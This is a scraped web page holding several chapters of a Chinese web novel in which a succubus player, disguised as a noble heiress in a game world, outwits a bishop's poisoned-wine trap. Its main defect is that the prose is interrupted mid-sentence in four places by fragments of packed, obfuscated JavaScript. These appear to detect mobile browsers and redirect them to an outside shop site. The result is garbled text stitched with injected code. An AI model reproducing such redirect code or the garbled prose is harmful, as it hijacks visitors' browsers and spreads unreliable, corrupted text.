l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284811|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年蓁蓁转过头,看向宁汐柔,一身小鹿眼里一片澄澈。 显然,经过今晚一系列的事情,她对宁汐柔的定位已经从“看着就很危险估计是个疯子的可怕新人”,变成了“虽然有时有点恶趣味但是人还不错的可靠老大”。 她真的很容易对人和世界产生善意。 “之前真正会让你OOC的,不是‘缺席晨间祈祷’,而是‘出现在德洛丽丝的房间’。因为你们之前不认识,也没有产生交集的必要条件。” 宁汐柔慢悠悠地解释。 “而‘伊迪丝’这个身份卡的支点,也并不是‘每天都会晨间祷告’。见习修女错过一两次祷告再正常不过了。你来见自己身份尊贵的朋友,朋友不舍得你深夜离去,留你借住一晚,不是很正常吗。” 这不难理解,只是新玩家们大多还没想到这一层。 玩家们每个人都拿到了自己的身份卡,并且需要遵守“不能OOC”的大规则。 OOC这个词的出现,就意味着身份卡是有人设要求的,这谁都能想到。 但这只是一个宽泛的要求和设定,最多算是一个框架。 人常有一种错觉,以为自己看懂了框架就自然而然掌握了细节,但其实只要一细想,很多问题就会顺着冒出来: 身份卡有人设不假,但: 这个人设是片面的还是全面的? 这个人设是固定的还是可以灵活变动的? 这个人设是否偏移,是谁来判定的? 这几个问题的答案都不难回答,只要顺着逻辑推下去: 副本给出的人设必然是片面的,玩家们进入副本时没有任何自己身份卡相关的信息和记忆,只能靠搜集片面信息来探索人设。 如果副本一上来就要求玩家们全面维持人设,还不如直接把他们全杀了,省得浪费时间。 既然是片面的人设,就意味着玩家们有自己补充、完善,甚至曲解的机会。所以这个人设也只可能是灵活变动的。 至于人设是否偏移,当然是由游戏系统判定。 游戏系统的目的是什么? 宁汐柔想起离秽说的,当新人本玩家存活率提升后,游戏系统发了个全服福利的事。 目前为止,宁汐柔更倾向于,游戏系统是希望玩家通关的。 那么如果玩家对人设进行了小范围内,与前提设定不冲突的,有利自身任务的再补充和扩展,系统会判定OOC吗? 答案不言而喻。 时间回到现在。 宁汐柔走在前往餐厅的路上,盘算整合自己手里的信息。 不过,年蓁蓁这个青梅人设,系统自补全的程度可真是不低。 经过系统修改后,年蓁蓁,也就是伊迪丝,居然在领主庄园有一个自己的房间。 新地点必定蕴含新线索,所以刚才宁汐柔才使眼色,让年蓁蓁跟着仆人过去。 到目前为止,宁汐柔已经掌握了副本大致的情况,只是对于自己的任务目标,还是心有疑虑、 究竟什么才算是“真正的领主”? 这个问题的答案太模糊,就仿佛在问“傀儡皇帝是不是真正的皇帝”。 这个问题,看来只有在和教廷、长老会的交锋中,得到答案。 她抬起下巴,走进餐厅。 布置华丽的长桌边上,已经落座的九个人起身,对她行礼。 她的丈夫,将从其中产生。 8. 领主的婚礼(8) 在来的路上,伊卡瑞斯已经和宁汐柔说了基本的情况。 在场的九个未婚夫候选人,分别来自三方势力:教廷,长老会,以及继承人德洛丽丝自己。三方各推荐了三位候选人,今天的会面,会是最终决胜的日子。 有趣的是,继承人一方的候选人,并不是德洛丽丝,也就是宁汐柔本人经手,而是由她的贴身男仆伊卡瑞斯负责。 所以,理论上,对于继承人而言,这九个人,都是今天她才第一次见到。 继承人自己的未婚夫候选人,让仆人来代选? 听上去有些荒谬,不过宁汐柔倒是能理解这其中的逻辑。 从人物设定的角度上看,对于德洛丽丝而言,这个未婚夫只不过是一个用来继承爵位的花瓶,不值得由她亲自动手筛选。 从游戏设置的角度上看,如果设置为这三个候选人都是德洛丽丝自己选出来的,那么她与这三人之间就必然有交集。 有交集,就会产生故事,新故事就意味着新线索,于是宁汐柔可以探索推进的范围就进一步扩张。 宁汐柔这张身份卡已经是整个副本的中心人物了,再给她开新线索,即便是有着特殊身份卡加持,也未免太超过了。 只是,这个甄选的形式,和她想象中不太一样。 宁汐柔记得,在昨天的舞会上,那个长老会的代表曾经提起过: “尊重继承人的个人意愿”。 她一开始还以为她自己选择的未婚夫会排在第一顺位,心里有些拿不准这是不是个陷阱。 毕竟,如果婚礼前夕,继承人自己选择的未婚夫突然死了,在新郎位置空悬的情况下,宁汐柔如果手头没有候补,就只能接受长老会选择的人。 这是多么显而易见又简单好用的策略。 没想到,不是这个玩法。 在教廷的推动下,最终形式变成了今天的统一甄选。 但是这场甄选的意义又是什么? 德洛丽丝和长老会几乎是公开的不站同一边,她不可能选择长老会推荐的人,至于教廷推荐的候选人,也是同理。 难道只是为了走个程序? 还是…… 宁汐柔的眼神扫过面前的九个候选人,看到三张并不陌生的面孔,是之前在花园里见到过的玩家。 再一看,这三个人分别来自教廷、长老会、继承人三方势力。 九分之三,这个数量比宁汐柔想象中要少。 当时花园里加上宁汐柔,一共有七个玩家。 宁汐柔,离秽,年蓁蓁,还有这里的三个男玩家,一共是六个人。 还有一个玩家去哪儿了? 走到餐桌边,伊卡瑞斯为宁汐柔拉开主位的椅子。 在她落座后,九位候选人才能依次坐下。 “不是说,教廷的骑士长也到了吗?” 宁汐柔环视一圈,没看到离秽,问道。 “骑士长临时收到教廷诏令,赶回去了。” 伊卡瑞斯俯身,附在她耳边回答。 离秽突然离开,会是什么事? 宁汐柔点头,示意自己知道了。 仆人将餐点端上桌。 切成方块的鳕鱼肉雪白,在煎制之后泛着一点漂亮的焦糖色,放在黑底的瓷盘中,底下是一层经过塑形炸制后的圆形酥塔,配上浓郁翠色的酱汁。 从视觉上来看,是十分精致的一道菜肴,甚至可以称得上某种视觉享受。 宁汐柔闻到它散发出来的香气,并不浓烈,反而有种清新感。 即便对人类的事物没有什么兴趣,为了维持人设,宁汐柔还是尝了一口。 入口的瞬间,她的表情不自觉地停滞了一瞬间。 在人类社会生活了26年,但宁汐柔依然不喜欢人类的食物。 对于天生感官敏感的魅魔而言,人类的食物往往味道过重,哪怕只是清水煮制,肉里依然有种无法祛除的腥气,蔬菜里依然带着令人厌恶的苦涩。 所以,除了必要的社交场合之外,宁汐柔几乎不食用人类食物。 但这个菜,不一样。 入口,她能感受到鱼肉的纤维,柔软到可以被舌尖摧毁。 涌入味蕾的调味轻缓,柔和中带着一点冲击力,不显山露水的咸味反而显现出鱼肉自身的鲜甜,配上极轻但又正好合适的胡椒香气。 下层的酥塔炸制火候刚好,酥脆中带着韧劲,没有半点渣质的口感,不但不油腻,反而有种轻盈气质。 最重要的是,依然只有一点香料本身的香气,没有厚重的调味,正贴合宁汐柔的味蕾。 原来人类平时吃到的食物是这样的味道吗? 那也怪不得,他们要说什么“民以食为天”了。 第一次,宁汐柔感受到另一种意义上的食欲。 宁汐柔又叉起一块鱼肉,这次,她放慢了咀嚼速度,更加仔细地去感受鱼肉的味道。 被香煎过后,鱼肉内部少量的脂肪融化,带来独特的香气,浸润着鱼肉本身。最有趣的是,随着时间的推移,鱼肉的内部温度下降,肉的质感也从融化般的柔软到适口的微韧。 宁汐柔转头去看伊卡瑞斯,发现对方的视线从一开始就没离开过她。 一如既往的,专注,平和,带着被掩饰在平静之下的渴慕。 “这是你做的?” 她想起刚才伊卡瑞斯说,希望她喜欢。 很普通的一句话,却在此刻显得特殊了起来。 “只有您这一份是我做的。您喜欢吗?这一切,都是为您准备的。” 他笑着问。 “只要您肯投注哪怕只有一秒的目光,那么一切,就都是有意义的。” 他说。 宁汐柔听过无数的深情告白,其中有真心也有假意,在欲和爱中徘徊挣扎的瞬间,人会爆发出自己都意料不到的浓烈感情。 她其实都没在意过。 人类的感情对她来说没有意义,狮子不会渴望得到蚂蚁的爱。 正如伊卡瑞斯此刻的告白一样, 她不至于为此生出什么感慨激动,也不至于在这一瞬间怦然心动。 宁汐柔从未怀疑过伊卡瑞斯的真心,情欲与爱欲的口感是不一样的。 不过,她也不曾在意过这份真心到底属于“德洛丽丝”还是“宁汐柔”。 对她来说,伊卡瑞斯的爱,不过是副本对于原住民的背景设置,是特殊身份卡所附带的一部分。 她不像其他玩家一样将他看成由数据搭建成的NPC,是因为她能从他身上感受到强烈的欲求,也能从他身上进食这些浓郁的欲求与渴慕,这是非生命体无法产生也不可能做到的。 但也就这样了。 伊卡瑞斯不过是这个副本中趁手好用的工具,能玩能吃还能用。 清晨时用脸蹭手的动作里,显露出来的一点纯爱属性,也让宁汐柔觉得有点可爱。 不过,可能是因为第一次尝试到了另一种进食方式的美妙之处, 这对宁汐柔来说是特殊的日子。 而这份特殊又是伊卡瑞斯带来的。 她不会因此就对他产生什么感情,但宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284812|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汐柔也不会否认, 她对这个人,开始生出一点欲望旖旎之外的好奇心。 生平第一次,宁汐柔开始期待下一道菜肴。 餐桌上的其他候选人脸上也露出享受美食的表情,除了三个玩家。 这三个人的脸色都颇为难看。 其中两个玩家坐在一起,其中一个看起来更年轻的,嘴里一块鱼肉咽出了割肉吞血的痛苦来,小声吐槽了一句: “我靠,跟吃纸一样……” “副本里的食物都是这样的,忍忍吧。” 两人中年级大一点的那个表情虽然也难看,但还是正常做着吞咽的动作,提醒道: “正常吃,别让人发现不对劲。” 他们说话的声音很小,也几乎看不出交流的模样,如果不是宁汐柔的感官灵敏超过人类数倍,或许真的注意不到。 副本里的食物都是这样? 宁汐柔放下刀叉,抿了一口红酒。 果然,原本记忆中带着泥土腥味的酒液,此刻变得柔韵绵长,葡萄发酵后的香气馥郁怡人,不带一点涩味。 宁汐柔的神色放松了些。 魅魔是享受进食的生物,她会被即刻、爆发、强烈的快感吸引。 各种意义上的进食,其实本质上都符合这个逻辑。 下一道菜是蟹肉沙拉。 雪蟹的硬壳被剪开,露出里面晶莹的肉身,被撕成刚好入口,又不会过于细碎的条状。 寥寥几样配菜,被切成和蟹肉同样粗细,增加清爽的口感。 酱料只做点缀,激发原本的鲜香甘甜。 宁汐柔心情颇好地举起叉子。 在她即将享受下一种味蕾新体验的时候,大门被推开,骑士铁甲走动的声音传来。 是离秽。 个子高大的骑士长站在那里,明明只是一个人,却无端让人相信,即使面前是千军万马, 她也能举起重剑,嘶吼着冲杀出去,在飞溅起的鲜血中,砍下敌人的头颅。 “很抱歉,打扰了诸位的用餐时间。” 但说话的人不是离秽,而是从她身后缓缓走出来的人。 这是个中年男人,其貌不扬,穿着坠地的法袍,手中拿着一支比他自己还高的权杖,权杖上方的宝石,却被白色的布料层层包裹住,看不见全貌。 他身量瘦小,但声音却很洪亮镇定: “但为了德伦郡的安宁,为了民众的安全,尤其是——为了德洛丽丝大人的婚礼能够顺利进行,我必须要尽快将这个重要的消息告知你们。” 能让教廷骑士长噤声守卫的人,身份不言而喻。 主教。 宁汐柔放下叉子,看着主教手中拿着的权杖,微微眯起眼睛,这是野兽锁定猎物的姿态。 那个,就是领主的权杖吗? “我接到神谕,德伦郡中,有邪恶卑劣的恶魔眷属混入德洛丽丝大人的未婚夫候选人里!所以,为了保证伟大的德伦郡,不被邪恶的力量沾染!” 主教的声音愈发高昂起来。 他身后的几个侍从端着托盘,在每个候选人面前都放下一只水晶杯。 和曾经在宴会上灼伤宁汐柔的水晶杯是一个款式。 “请诸位,饮尽杯中圣酒,证明你们的纯洁与高贵!” 主教一边说着,一边走近,最后,亲手将一只水晶杯放在了宁汐柔的面前。 “否则,教廷将执行神的诏令,清除悖逆者。” 他对着宁汐柔露出一个仁爱和善的笑容。 和瞳孔里的恶意狰狞。 9. 领主的婚礼(9) 原来如此,这才是甄选会的目的。 杀未婚夫有什么用? 德伦郡未来的领主,想要多少未婚夫都不是问题,杀了一个还有下一个。 即便宁汐柔最后无人可选,只能选择长老会或者教廷推荐的人, 结婚之后她依然可以杀掉丈夫。 但只要“婚礼”进行了,长老会就要放权,教廷就要归还权杖。 所以,他们要的从来都不是操控德洛丽丝的丈夫人选,而是—— 杀死继承人本身。 没有婚礼,自然就不用放权,不用归还。 宁汐柔内心里轻笑了一声,也感慨,这是个精巧的布局。 先用未婚夫候选人之争迷惑视线,掩盖他们真正的目的,再提出未婚夫甄选这个看似垂死挣扎的提议,让宁汐柔放松警惕。 最后,是主教不告知任何信息,突然袭击,突然要求所有人饮下圣酒,不让宁汐柔有提前布置的机会。 主教将水晶杯放在宁汐柔面前。 看着这只水晶杯,宁汐柔又回忆起那蚀骨灼心的焚烧剧痛,那是她生命中感受到过的,最纯粹的痛苦。 可在舞会上,宁汐柔总共只握住了那个杯子数秒。 哪怕现在她可以忍住痛苦,拿起杯子,可里面的“圣酒”又要怎么办? 一杯带有净化之力的酒下去,宁汐柔的拟态躯壳大概会被直接烧穿吧? 到时候她的身份不可能瞒得住,主教一声令下,长老会必然相应。 除非将在场所有人都杀干净,不然宁汐柔的继承人之位必定不保。 连继承人的资格都被剥夺了,那么成为真正领主这个主线任务也等于直接失败。 主线任务失败会怎样? 这个无限游戏系统,能把她拉进这个副本,能在副本里放置让她受伤的净化之力。 也当然有能力抹杀她。 宁汐柔不想死。 所有欲求中,求生本能往往是最强烈,最优先的,这一点不分物种。 “既然是候选人当中混入了恶魔眷属,自然要查。不过,他们喝,还需要我陪一杯吗?” 宁汐柔冷笑了一声,看着主教手中蒙着白布的权杖,眼睛一瞪,率先发难。 “他们是什么身份,也配?!主教口口声声唤我‘德洛丽丝大人’,竟敢如此不敬?” 作为德伦郡未来的主人,德洛丽丝的身份理论上高于这里的所有人。 包括代为保管权杖的教廷主教。 否则,主教自然可以以身份压制,拒绝在婚礼后归还权杖,不需要废心劳力搞这一出。 代掌政权的长老会,手握神权的教廷,居然需要联合起来对抗一个未成年,没有正式掌权的领主继承人,甚至即便如此,他们还不占上风,需要设下迂回的陷阱,才能达成目的。 看来,在德伦郡,神权与政权都要退一步,唯血统论至高无上。 主教想必也料到了宁汐柔不会全然配合。 他此刻已然收起了方才带着鲜明恶意的眼神,脸上只剩下慈祥平和的笑意: “大人误会了,教廷怎么会怀疑大人您呢?圣酒对于黑暗眷属来说,是穿肠剧毒;可对于大人这样圣洁者而言,只是一剂再好不过的补品罢了。” 主教看着宁汐柔的眼睛,语气平和而坚定,带着仿佛不可违逆的意思: “这杯酒,是教廷上下,愿意在未来,忠诚辅佐德洛丽丝大人的效忠酒。” 他这话说得,太满了。 又是效忠又是教廷上下的,要是没死,这该怎么圆? 德洛丽丝可不是什么宽宏大量好相处的人,她是个爆裂脾气,做事不留余地。 这样的人,想必也不可能接受自己被人这样下面子。 教廷这一出逼酒,已经把德洛丽丝得罪狠了, 宁汐柔的手指一动,心下了然了。 主教确定,这杯酒,一定能杀死她。 她看了一眼伊卡瑞斯。 伊卡瑞斯接收到眼神,笑盈盈地走上前,抬手端起水晶杯,白色的手套透过水晶,手指长而有力,如同最精美的雕塑。 他个子高挑,只抬手,就与主教的头顶差不多平齐。 然后,他带着优雅谦卑的微笑,将水晶杯缓缓倾斜,看着里面的酒液尽数被倒在了主教的脸上。 “听到教廷愿意效忠跟随,我家主人十分欣慰,所以,这一杯,先赏主教大人。” 伊卡瑞斯彬彬有礼地说。 他常年跟随在傲慢暴戾的德洛丽丝身后,负责善后圆场,端着一副优雅有涵养的模样,于是谁都忘了。 归根结底,物似主人形。 宁汐柔看着,脸上带着戏谑的笑。 甚至,还轻轻鼓了鼓掌。 她有点意外伊卡瑞斯这么简单就看懂了她的意思,但内心深处,又觉得这实在是顺理成章的事。 “你!——” 主教的脸上闪过暴怒神色,但又很快被强行抑制下去。 但即便如此,他脸上的笑容和善是再也维持不住了。 好言哄骗不成,反而当众受辱,主教握紧了权杖,眼中的杀意已经几乎不加掩饰。 “谢、大、人、的、赏。既然我已经收下了,您也该满饮此杯啊。毕竟,我受您母亲,上任领主格洛丽亚的托付,代为保管领主权杖,更应该关照大人才是。” 主教的随从又送来一杯酒,还是一样的水晶杯,还是一样的圣酒。 还是一样,逼酒的姿态。 只是先前,虽然身材瘦小其貌不扬,但好歹穿着法袍,拿着权杖,脸上神色镇定的时候,还有几分气势可言。 现在,他头发被酒淋湿,法袍也染上酒渍,暴怒的暴怒的青筋都快跳出额头了。 气势自然是没了,倒平添几分好笑。 “好,既然是先母的面子,这杯酒,我喝。” 宁汐柔一笑,这一次居然立马酒答应了下来。 她端起酒杯,一饮而尽。 这个时代的生产力相对低下,即便是酒液普遍劣质,一入喉就有股强烈的苦涩和灼烧感,顺着喉管裹进胃里。 宁汐柔随手将酒杯扔在地上,水晶的碎裂声中,她的掌心一片光滑。 “早听说教廷清廉了,没想到这也太清了,圣酒的味道这样差,信徒们可真可怜啊。” 她笑得张扬。 主教面色铁青,却放声大笑起来。 “哈!真是多谢大人指教!哈哈哈哈……哈?” 他看着宁汐柔没有半点变化的表情,笑容呆滞了。 “怎么会,怎么……” 他瞪大了眼睛,半响,不可置信地指向她: “你,真的是!你就是——” “有些话,要想好了再说。我可是在众目睽睽之下,喝了你亲手送来的圣酒。” 宁汐柔的声音压低了,带着威胁。 对,她喝了,喝得干干净净。 可是,可是她怎么会没死! 主教的眼睛中布满血丝,他想到一个可能性,一个足可能将眼前这个可恨的家伙钉死的可能! 但是,就在刚刚,他已经亲手堵死了这个可能性。 “比起毒药,你真该用圣酒的。” 宁汐柔笑盈盈地说。 对,主教端来的那个水晶杯里,不仅杯身是没有加注净化之力,杯里所谓的圣酒,也只不过是用劣质酒液化开的剧毒。 寻常人喝了这个毒药,自然是当即毙命,十死无生。 可对于魅魔来说,只不过是非常难喝的饮料罢了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284813|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你这个恶魔的走狗,就不怕,我用的真的是圣酒,居然还敢喝?!” 主教的声音压得更低,嘶哑又愤怒。 “那没办法,谁叫你这么蠢,让我发现了呢?” 宁汐柔的笑容不变。 一开始宁汐柔当然是不愿意喝这杯酒的。 如果这杯酒里真的带有净化之力,那么对她来说,喝酒几乎和直接游戏失败画上等号。 但是如今这样的状况,即使强硬拒绝,也只会换来对方的步步相逼。 如果从躲酒的方向去思考,就会发现这一条路子实在是太难走。 这个陷阱启动的一刻起,主教所代表的教廷已经和继承人德洛丽丝撕破脸。 这一场交锋,如果教廷没有杀死德洛丽丝,他们之间的对立处境只会愈发的严峻,更势必引来疯狂的报复。 所以,主教无论如何,也一定会逼她喝下这杯酒。 那么到底该怎么做才能躲开这杯酒? 或者,将思维换一种方式,重新再问另一个问题,一个更本质的问题: 真的需要,躲开这杯酒吗? 宁汐柔是魅魔,按种族属于黑暗势力,会受到净化之力伤害。 这是在舞会上,她已经用血肉验证过的事实。 如果主教端上来的真的是带有净化之力的圣酒,那么在这一场陷阱当中,她几乎毫无回天之力。 可也许这杯酒根本就不用躲。 宁汐柔很惜命,她喝酒,并不是带着赌博心理下的冲动决定。 是几次试探下,做出的,生存率最高的判断。 她相信,这只是一杯毒酒。 用来杀人类的毒酒。 一开始,宁汐柔就注意到,主教手中的那把领主的权杖,宝石上面缠着白布。 这是一个很有趣的信号。 一把权杖最重要的部分,必定就是顶上镶嵌的宝石。 主教也明显十分重视这把权杖。时时带在身边,未必没有以此彰显自己权利地位的意思。 那么又为什么要蒙上? 是不是因为,其实他根本就驾驭不了权杖的力量? 年蓁蓁说过,教廷里所有带有净化之力的物品,都是经过主教赐福的。 但他真的有那么强大吗? 后来,宁汐柔给了伊卡瑞斯一个眼神,就是示意他羞辱主教,引发冲突。 当然,其实她也考虑过,伊卡瑞斯可能不会完全理解她的意图。不过,哪怕他将这个眼神理解为挡酒,也能通过他与主教之间的交锋,让宁汐柔收集更多的信息。 没想到,他完成得这么完美。 这个人,真是方方面面都符合她的喜好。 最重要的一点,是主教自己的话里,出了一个纰漏。 他说,“圣酒对于黑暗眷属来说,是穿肠剧毒”。 可宁汐柔自己被净化之力灼烧过,她知道,那那种感觉不是剧毒穿肠,是焚骨挫灰。 主教说谎了。 因为他知道,等饮下圣酒之后,宁汐柔的反应是什么。 他要根据这个反应来调整圣酒起效后的“表现”。 因为,这根本就不是圣酒,而毒酒。 不可否认,这是一场很精妙的布局。 但这一局有一个很重要的,不可或缺的前置条件。 他们必须要确认,圣酒和水晶杯,是可以伤害到宁汐柔的。 只有这样,他们才能将她打成恶魔眷属。 不然,如果宁汐柔毫发无伤,教廷就只是在自寻死路。 但问题是,他们真的知道宁汐柔是恶魔吗? 从酒端上来的那一刻,宁汐柔就在思考这个问题。 在喝下酒的前一刻,她找出了答案。 她赢了。 10. 领主的婚礼(10) 在主教铁青的脸色中,宁汐柔露出属于胜利者的笑容。 “多谢主教。虽说不是什么好酒,但是重在心意嘛。教廷效忠的决心,已经让我觉得,十分美味了。” 她坐在主位上,抬起下巴,声音悠然。 “母亲当年的权杖,教廷代为保管多年,好在,终于要物归原主了。” 权杖。 主教握着权杖的手猛地收紧了。 对,权杖。 在德伦郡,血统论至高无上,教廷根本无法抗衡。 这里的人们相信,只有代代领主相传的血脉,才有资格成为这片土地的主人。 为了防止血脉被污染,德伦郡尊从母系传承,每一代领主都必须是女人,而她们的继承人,也只能是自己亲自诞育的女儿。 领主的权杖,是她们权利的象征。 这只权杖,通常是由上一任领主亲手授予自己的继承人。 不过,上一任领主格洛丽亚因病早逝,离世的时候,她的女儿德洛丽丝只有十二岁,因此,她将权杖交由教廷保管。 并下令,在德洛丽丝正式继承爵位的那一天,教廷应归还权杖。 从代为保管权杖的那一刻开始,教廷如获新生。 在领主权杖的威慑下,教廷的势力开始逐渐壮大,强盛,成为了在德伦郡三足鼎立势力中的一个。 失去权杖,就等于失去这一切。 主教宁死,也不能忍受。 “你,你居然真是的——” 主教想要大声呼喊出宁汐柔饮下剧毒而不死,充血过度的眼球在极度用力下,几乎要爆出眼眶。 然而,他停下了。 他用一杯毒酒,验证出了德洛丽丝,也就是宁汐柔非人的身份。 可是,他要怎么证明? 正如宁汐柔自己所说,她在众目睽睽之下,喝下了主教亲手端来的圣酒。 并且在饮下“圣酒”后,毫发无伤,完好无损。 在旁人眼中,这相当于,教廷已经用主教的信誉来担保她的高贵。 一场毒杀,反而让宁汐柔的好人身份更加坐实。 若是主教想要推翻这一点,他必将同时推翻自己的信誉。 当别人问起他是如何发现真相时,难道他能回答: “我逼她喝了一杯毒酒,她却还活着吗?” 如果主教选择揭露宁汐柔的身份,那么在证明宁汐柔的“邪恶”之前,教廷主教的恶毒行径会被尽数揭露。 这个哑巴亏,主教只能自己咽下。 否则,他将成为教廷,甚至整个德伦郡的罪人。 “是的,这杯酒,就是为您奉上的。” 主教咬牙,几乎是从喉咙里硬挤出来这几个字。 这一场交锋,他败得惨烈。 “既然教廷已经效忠于我了,我自然也要有所表示。由教廷推荐的三位候选人,就不必参加甄选了,都进入教廷,跟随主教学习吧?也算是我对您的信赖。” 宁汐柔说。 什么? 主教觉得自己又要喘不上来气了。 虽然他也知道,宁汐柔不可能选择教廷推荐的人选。 但不选归不选,像现在这样,直接对教廷推荐的候选人退货,算得上是极大的羞辱。 “他们既然是候选人,最大的责任,理应是侍奉德洛丽丝大人您才对。” 主教一口牙都要咬碎了。 他现在竭力维持着教廷的体面。 “哦,是吗?” 宁汐柔笑了一声。 “正因为他们最大的责任就是侍奉我,所以才更应该要听从我的吩咐。主教的年纪也不小了,未来的继承人,就从他们三个当中选吧?都是对我忠诚尽心的人,我很信任。” 主教的动作僵住了,半响,他抬头看着那三个候选人。 三个候选人中,有两个原住民,一个玩家,此刻,三人的目光都有些躲闪。 “当然,我尊重主教你的意思。如果你觉得这些人都不够资格成为你的继承人,当然也可以不带回去。” 她又说。 生平第一次,主教明白了哑巴吃黄连的感受。 他不能说自己认为这三个人不够好,否则就是承认他推荐了自己都看不上的人,去当未来领主的未婚夫。 同理,他也不能拒绝宁汐柔要求他选择她指定的继承人,因为他刚刚才代表教廷宣称了自己的忠诚。 不过是一杯酒,攻守易势,骑虎难下。 “德洛丽丝大人的决定,我当然不会质疑。只是,我也想问问他们意见。正因为这三位都是万中无一的优秀人才,我才会举荐给您。或许,他们更希望全身心地侍奉您。” 主教皮笑肉不笑。 “你们的想法呢?愿意在教廷,为我效忠吗?” 宁汐柔转头看着教廷的三个候选人。 两个原住民看了眼宁汐柔面上带笑的模样,又看了看主教勉强掩饰住愤怒疲惫的脸色,点了点头。 “我们,我们愿意。” 他们不是傻子,纵然还没有完全参透方才交锋中的细节,但目前的情势,已经看出了场上胜负。他们对主教没有那么忠诚,不会为他得罪未来的领主。 ——再说了,反正也明摆着选不上,不如借此为跳板,在教廷里扯着未来领主的大旗,混一个前程。 三人中的玩家是最后表态的,他神色有些迟疑,似乎拿不定主意,偷偷抬头看了一眼离秽的方向,然后才点头: “我也愿意。” 玩家做出这个可能性的选择就更多了,宁汐柔没有去尝试往下思考,她不为路径模糊的可能性浪费精力。 主教只能板着一张脸,领着三个候选人和他自己带来的人转身离开了。 临走之前,他回过头,深深看了宁汐柔一眼。 这一次,是不死不休。 离秽作为教廷的骑士长,自然也跟着主教一起离开。 她在这个局里没有起到任何作用,价值差不多等于餐桌上的装饰品。 全程她也没有试图参与的意思,穿着铠甲站在一边,全程和看戏的观众一样。 离秽这样的人做事不会没有目的,她来这里到底是为什么? 宁汐柔在心里将这件事默默打上重点标记。 经历了这么一遭,其他人的圣酒自然是都没喝,放在一边。 午餐结束,候选人们被带下去。在宁汐柔做出选择之前,他们都会住在庄园里。 “今天还有一些事务需要您处理,是去书房还是卧室?” 伊卡瑞斯俯身,在宁汐柔耳边问。 “书房吧。” 她说。 比起已经探索过的旧地图卧室,当然是优先选择可能拥有新信息的新地图书房。 德洛丽丝的书房和她的卧室一样宽阔,装潢华丽大气,满墙的卷轴古书,彰显着属于这片土地未来主人的地位。 在这个时代,知识比一切财富更加昂贵。 在书桌前坐下,小腿上莫名地发痒,宁汐柔挑了下眉,动作很轻,一瞬即逝。 “伊卡。” 她看着正为自己准备茶点的伊卡瑞斯,突然问: “我母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284814|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的遗物,都整理出来给我。” 伊卡? 正在将小骨瓷茶杯放在托盘上的伊卡瑞斯动作一顿,差点没把茶洒出来。 直接省略掉名字后两个字的称呼,听起来,像是昵称一样。 男仆白皙的耳尖又微微泛起一点不显眼的红,隐藏在他月色的长发里,发丝微凉,贴在温度悄然攀升的肌肤上。 宁汐柔再一次觉得这个人很有意思。 他可以从容自如地在她身前跪下,唇舌流连,在宁汐柔俯视他漂亮的五官时,连陷入情潮的姿态都是优雅美丽的。 但又偶尔的,在一些微小的触碰和亲昵中,流露出一点笨拙和青涩,掩盖不住自己因为某个瞬间而雀跃的心跳声。 “前、前任领主大人的遗物吗?” 伊卡瑞斯动作隐晦地拽了一下自己的头发,回过神来,询问宁汐柔。 “是,我突然想起来里面可能有一些东西,你去拿过来。” 宁汐柔点头。 “是。” 伊卡瑞斯没有再继续问,行礼离开。 一个忠诚的仆人应该清楚自己的职责,也聪明地不要去追问主人的意图。 看着伊卡瑞斯离开书房,听着脚步声渐渐走远,宁汐柔不紧不慢地又在书桌底下踢了两脚。 然后,她的脚踝被一只大手握住。 那只手的掌心温暖,指腹上带着点茧子,划过肌肤,又勾起那微微的痒。 再然后,一只毛茸茸的脑袋顺着她裙子的弧度往上蹭,从书桌底下冒出来。 麦色肌肤,紫罗兰色双眼,他有些不满地哼哼了两声,用头上的小角轻轻戳了戳宁汐柔的手心。 “你怎么又突然冒出来?” 宁汐柔顺手摸了一把他毛茸茸的头发,和伊卡瑞斯如月色倾斜,凉而顺滑的头发质感不同,少年恶魔的头发蓬松柔软,像一朵雨后的云。 “因为你都不肯召唤我!” 少年恶魔很委屈,告状一样。 “你有了那个装模作样的男仆,都不怎么找我了!明明我才是最有用的!” 宁汐柔对这种带着争风吃醋意味的撒娇卖乖并不在意,她见得太多了,早已免疫。 “我需要你去做一件事。” 她开口。 “哎哎!哪有这样的,一上来就给我安排事。” 恶魔咧嘴一笑,三角形的尾巴轻轻动了动。 “总要先给我吃口糖吧。” “什么糖?” 宁汐柔问。 “我昨天那么善解人意,看到你有事,我都没打扰你,自己就走了!所以今天你得给我补上!” 恶魔兴致勃勃地说,眼睛里充满了期待。 “昨天他都吃到糖了,我也要!” 